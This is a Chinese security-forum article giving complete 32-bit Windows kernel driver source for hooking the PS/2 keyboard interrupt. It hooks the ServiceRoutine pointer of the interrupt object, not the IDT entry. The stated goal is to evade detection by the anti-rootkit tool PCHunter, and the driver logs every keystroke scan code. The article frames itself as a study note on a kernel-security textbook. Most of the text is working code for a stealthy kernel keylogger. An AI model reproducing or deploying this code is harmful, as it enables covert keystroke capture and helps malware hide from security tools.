查看原文
其他

通过Hook InterruptObject来躲避pcHunter的检查

危楼高百尺 看雪学苑 2022-07-01

本文为看雪论坛优秀文章

看雪论坛作者ID:危楼高百尺


读《Windows内核安全》的一点感悟,记录一下,如有纰漏,还请大家多多批评指正。

本文还是以书上介绍的Hook键盘中断为例,下文的“书”都指的是《Windows内核安全》。
 
这是在Windbg里运行指令!idt -a的输出的IDT表项,一般大家做IDT Hook都是去改红框里的那个地址。
但是这么改pcHunter一下就能识别出来。很显然,pcHunter就是识别IDT表里存的那个地址所在的模块来判定是否被hook的。
 
 
实际上IDT表里写的那个地址并不是实际的中断服务例程,而是对应中断对象的中断分派代码的地址,这个中断分派代码最终会去调用中断服务例程来处理中断,这里有关中断对象的概念可以去看书的第22章。

例如,在IDT的0x81表项存放的地址为0x874b8a58,其实就是对应的中断对象0x874b8a00的DispatchCode成员(偏移为0X58)。

可以去跟到这个中断分派代码(即IDT中存的地址)里去看一看,其实实际上就是去调用对应中断对象的中断服务例程。

874b8a58 54 push esp ;中断分派代码的开头874b8a59 55 push ebp874b8a5a 53 push ebx...874b8b39 bf008a4b87 mov edi, 874B8A00h ;把中断对象的地址存入edi中874b8b3e e9fd2b99fc jmp nt!KiInterruptDispatch (83e4b740)nt!KiInterruptDispatch:83e4b740 8bec mov ebp, esp83e4b742 8b472c mov eax, dword ptr [edi+2Ch]...83e4b7a5 8b4718 mov eax, dword ptr [edi+18h]83e4b7a8 50 push eax ;压栈ServiceContext83e4b7a9 57 push edi ;压栈中断对象83e4b7aa ff570c call dword ptr [edi+0Ch] ;调用ServiceRoutine...

那如果我们去Hook这个中断对象中的ServiceRoutine成员,岂不是pcHunter就察觉不到了,效果还与Hook IDT表一样。
 
完整的代码也不长,就贴在下面,代码是基于书附的ps2intcap.c改的,修改的关键部分在HOOK_IDT()函数中。

#include <ntddk.h>// 程序在32位的Win7 pro SP1是跑通的
// 由于这里我们必须明确一个域是多少位,所以我们预先定义几个明// 确知道多少位长度的变量,以避免不同环境下编译的麻烦.typedef unsigned char P2C_U8;typedef unsigned short P2C_U16;typedef unsigned long P2C_U32;
#define P2C_MAKELONG(low, high) \((P2C_U32)(((P2C_U16)((P2C_U32)(low) & 0xffff)) | ((P2C_U32)((P2C_U16)((P2C_U32)(high) & 0xffff))) << 16))
#define P2C_LOW16_OF_32(data) \((P2C_U16)(((P2C_U32)data) & 0xffff))
#define P2C_HIGH16_OF_32(data) \((P2C_U16)(((P2C_U32)data) >> 16))
// 从sidt指令获得一个如下的结构。从这里可以得到IDT的开始地址#pragma pack(push,1)typedef struct P2C_IDTR_ { P2C_U16 limit; // 范围 P2C_U32 base; // 基地址(就是开始地址)} P2C_IDTR, * PP2C_IDTR;#pragma pack(pop)
// 下面这个函数用sidt指令读出一个P2C_IDTR结构,并返回IDT的地址。void* p2cGetIdt(){ P2C_IDTR idtr; // 一句汇编读取到IDT的位置。 _asm sidt idtr return (void*)idtr.base;}
typedef struct _KINTERRUPT{ SHORT Type; SHORT Size; LIST_ENTRY InterruptListEntry; UCHAR * ServiceRoutine; UCHAR * MessageServiceRoutine; ULONG MessageIndex; PVOID ServiceContext; ULONG SpinLock; ULONG TickCount; ULONG * ActualLock; PVOID DispatchAddress; ULONG Vector; UCHAR Irql; UCHAR SynchronizeIrql; UCHAR FloatingSave; UCHAR Connected; CHAR Number; UCHAR ShareVector; char Pad[3]; KINTERRUPT_MODE Mode; KINTERRUPT_POLARITY Polarity; ULONG ServiceCount; ULONG DispatchCount; UINT64 Rsvd1; ULONG DispatchCode[135];} KINTERRUPT, *PKINTERRUPT;
#pragma pack(push,1)typedef struct P2C_IDT_ENTRY_ { P2C_U16 offset_low; P2C_U16 selector; P2C_U8 reserved; P2C_U8 type : 4; P2C_U8 always0 : 1; P2C_U8 dpl : 2; P2C_U8 present : 1; P2C_U16 offset_high;} P2C_IDTENTRY, * PP2C_IDTENTRY;#pragma pack(pop)
P2C_U32 g_old_addr = NULL;// 首先读端口获得按键扫描码打印出来。然后将这个扫// 描码写回端口,以便别的应用程序能正确接收到按键。// 如果不想让别的程序截获按键,可以写回一个任意的// 数据。#define OBUFFER_FULL 0x02#define IBUFFER_FULL 0x01
ULONG p2cWaitForKbRead(){ int i = 100; P2C_U8 mychar; do { _asm in al, 0x64 _asm mov mychar, al KeStallExecutionProcessor(50); if (!(mychar & OBUFFER_FULL)) break; } while (i--); if (i) return TRUE; return FALSE;}
ULONG p2cWaitForKbWrite(){ int i = 100; P2C_U8 mychar; do { _asm in al, 0x64 _asm mov mychar, al KeStallExecutionProcessor(50); if (!(mychar & IBUFFER_FULL)) break; } while (i--); if (i) return TRUE; return FALSE;}
void p2cUserFilter(){ static P2C_U8 sch_pre = 0; P2C_U8 sch; DbgPrint("p2cUserFilter\n"); p2cWaitForKbRead(); _asm in al, 0x60 _asm mov sch, al DbgPrint("p2c: scan code = 0x%x\n", sch); // 把数据写回端口,以便让别的程序可以正确读取。 if (sch_pre != sch) { sch_pre = sch; _asm mov al, 0xd2 _asm out 0x64, al p2cWaitForKbWrite(); _asm mov al, sch _asm out 0x60, al }}
__declspec(naked) p2cInterruptProc(){ __asm { pushad // 保存所有的通用寄存器 pushfd // 保存标志寄存器 push fs mov bx, 0x30 mov fs, bx push ds push es call p2cUserFilter // 调一个我们自己的函数。这个函数将实现 // 一些我们自己的功能 pop es pop ds pop fs popfd // 恢复标志寄存器 popad // 恢复通用寄存器 jmp g_old_addr // 跳到原来的中断服务程序 }}
VOID HOOK_IDT(ULONG nIndex, BOOLEAN b){ PP2C_IDTENTRY idt_item = (PP2C_IDTENTRY)p2cGetIdt(); //将指针指向PS/2中断项 idt_item += nIndex;
//dispatchCode地址 P2C_U32 dispatchCode = P2C_MAKELONG(idt_item->offset_low, idt_item->offset_high); PKINTERRUPT interrupt_object = (PKINTERRUPT)(dispatchCode - 0x58);
if (b) { g_old_addr = interrupt_object->ServiceRoutine; interrupt_object->ServiceRoutine = p2cInterruptProc; DbgPrint("源地址为%x 替换后的地址%x\n", g_old_addr, p2cInterruptProc); } else { interrupt_object->ServiceRoutine = g_old_addr; DbgPrint("替换为原来的地址"); }}#define DELAY_ONE_MICROSECOND (-10)#define DELAY_ONE_MILLISECOND (DELAY_ONE_MICROSECOND*1000)#define DELAY_ONE_SECOND (DELAY_ONE_MILLISECOND*1000)//驱动卸载函数VOID IDT_Unload(IN PDRIVER_OBJECT DriverObject){ for (int i = 0; i < KeNumberProcessors ;i++ ) { KeSetSystemAffinityThread(i + 1); HOOK_IDT(0x81, FALSE); KeRevertToUserAffinityThread(); }
LARGE_INTEGER interval; DbgPrint("p2c: unloading\n"); // 睡眠5秒。等待所有irp处理结束 interval.QuadPart = (5 * 1000 * DELAY_ONE_MILLISECOND); KeDelayExecutionThread(KernelMode, FALSE, &interval);
}//驱动程序入口NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath){ //处理多核 //书上说是给其他CPU投递DCP进行HOOK来处理多核的情况 //但是我试了试这种方法似乎也可以 for (int i = 0; i < KeNumberProcessors ;i++ ) { KeSetSystemAffinityThread(i + 1); HOOK_IDT(0x81, TRUE); KeRevertToUserAffinityThread(); }
DriverObject->DriverUnload = IDT_Unload; return STATUS_SUCCESS;}

 
不过这种方法不能Hook没有中断对象的表项,就比如int 3中断,IDT表项里直接填的就是中断服务例程。 

 

最后,我感觉这种方法肯定之前有人写过了,但是我搜了一圈也没啥结果,于是就记录一下,供大家参考。

参考资料:
[1]《Windows内核安全与驱动开发》
[2] https://www.4hou.com/posts/wR8w
[3] https://wooyun.js.org/drops/%E6%98%BE%E7%A4%BA%E6%AF%8F%E4%B8%AACPU%E7%9A%84IDT%E4%BF%A1%E6%81%AF.html
[4] https://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ke/intobj/kinterrupt.htm


- End -


 


看雪ID:危楼高百尺

https://bbs.pediy.com/user-home-926584.htm

  *本文由看雪论坛 危楼高百尺 原创,转载请注明来自看雪社区。



# 往期推荐





公众号ID:ikanxue
官方微博:看雪安全
商务合作:wsc@kanxue.com



球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存